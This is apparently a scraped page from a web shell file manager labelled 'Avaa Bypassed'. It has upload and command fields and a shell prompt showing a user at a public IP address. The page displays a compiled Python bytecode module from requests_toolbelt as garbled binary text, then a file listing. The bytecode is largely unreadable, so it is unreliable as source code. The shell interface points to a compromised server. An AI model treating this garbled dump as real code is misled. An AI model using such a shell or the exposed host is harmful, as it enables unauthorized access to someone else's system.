404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@18.218.63.176: ~ $
3

�P\�	�@sddZddlZddlZddlmZejdejd�jZejdejd�jZ	ejd�jZ
dd	�Zd
d�ZdS)z7A collection of functions deprecated in requests.utils.�N)�utilss!<meta.*?charset=["\']*(.+?)["\'>])�flagss+<meta.*?content=["\']*;?charset=(.+?)["\'>]s$^<\?xml.*?encoding=["\']*(.+?)["\'>]cCsDt|�t|�t|�}dtjko,dknr@dd�|D�}|S)a�Return encodings from given content string.

    .. code-block:: python

        import requests
        from requests_toolbelt.utils import deprecated

        r = requests.get(url)
        encodings = deprecated.get_encodings_from_content(r)

    :param content: bytestring to extract encodings from
    :type content: bytes
    :return: encodings detected in the provided content
    :rtype: list(str)
    �r�cSsg|]}|jd��qS)�utf8)�decode)�.0�encoding�r
� /usr/lib/python3.6/deprecated.py�
<listcomp>(sz.get_encodings_from_content.<locals>.<listcomp>)rr)rr)�find_charset�find_pragma�find_xml�sys�version_info)�content�	encodingsr
r
r�get_encodings_from_contentsrcCs�t�}tj|j�}|rFyt|j|�Stk
rD|j|j��YnXt	|j�}xJ|D]B}|j�}||krlqVyt|j|�Stk
r�|j|�YqVXqVW|r�yt|j|dd�St
k
r�YnX|jS)aMReturn the requested content back in unicode.

    This will first attempt to retrieve the encoding from the response
    headers. If that fails, it will use
    :func:`requests_toolbelt.utils.deprecated.get_encodings_from_content`
    to determine encodings from HTML elements.

    .. code-block:: python

        import requests
        from requests_toolbelt.utils import deprecated

        r = requests.get(url)
        text = deprecated.get_unicode_from_response(r)

    :param response: Response object to get unicode content from.
    :type response: requests.models.Response
    �replace)�errors)�setrZget_encoding_from_headersZheaders�strr�UnicodeError�add�lowerr�	TypeError�text)ZresponseZtried_encodingsr	rZ	_encodingr
r
r�get_unicode_from_response,s,

r)
�__doc__�rerZrequestsr�compile�I�findallr
rrrrr
r
r
r�<module>s

Filemanager

Name Type Size Permission Actions
__init__.cpython-36.opt-1.pyc File 113 B 0644
__init__.cpython-36.pyc File 113 B 0644
deprecated.cpython-36.opt-1.pyc File 2.42 KB 0644
deprecated.cpython-36.pyc File 2.42 KB 0644
dump.cpython-36.opt-1.pyc File 5.38 KB 0644
dump.cpython-36.pyc File 5.38 KB 0644
formdata.cpython-36.opt-1.pyc File 3.49 KB 0644
formdata.cpython-36.pyc File 3.49 KB 0644
user_agent.cpython-36.opt-1.pyc File 4.67 KB 0644
user_agent.cpython-36.pyc File 4.67 KB 0644